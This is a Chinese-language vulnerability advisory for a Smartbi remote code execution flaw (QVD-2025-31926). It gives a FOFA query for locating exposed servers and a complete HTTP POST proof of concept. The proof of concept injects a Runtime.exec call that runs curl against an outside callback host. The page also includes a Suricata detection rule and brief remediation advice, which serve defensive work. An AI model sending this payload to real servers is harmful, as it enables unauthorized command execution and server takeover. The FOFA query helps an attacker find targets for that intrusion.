跳转至

Smartbi 远程代码执行漏洞(QVD-2025-31926)

Smartbi 远程代码执行漏洞(QVD-2025-31926),攻击者可执行任意命令导致服务器被控。

影响版本

Smartbi

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值
利用难度

漏洞复现

FOFA:app="SMARTBI"

POC/EXP:

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: JSESSIONID=810863C9F06505AEF3867581A47AA35C
Connection: keep-alive

className=MetricsModelForVModule&methodName=checkExpression&params=["java.lang.Runtime.getRuntime().exec('curl fimmnxmlze.iyhc.eu.org')"]

image-20250822154004976image-20250822153932106

sonrt规则:

alert http any any -> $HOME_NET any (
    msg:"Smartbi - Remote Code Execution via RMIServlet (QVD-2025-31926)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/smartbi/vision/RMIServlet";
    http.header; content:"Content-Type: application/x-www-form-urlencoded";
    http.request_body; content:"className=MetricsModelForVModule";
    http.request_body; content:"methodName=checkExpression";
    pcre:"/params=\[\"java\.lang\.Runtime\.getRuntime\(\)\.exec\([^\)]+\)\"\]/i";
    metadata:
        cve QVD-2025-31926,
        service http,
        affected_product "Smartbi",
        vulnerability_type "Java Remote Code Execution",
        attack_target "application_server",
        severity "critical";
    reference:url,www.example.com/QVD-2025-31926;
    classtype:web-application-attack;
    sid:1000461;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。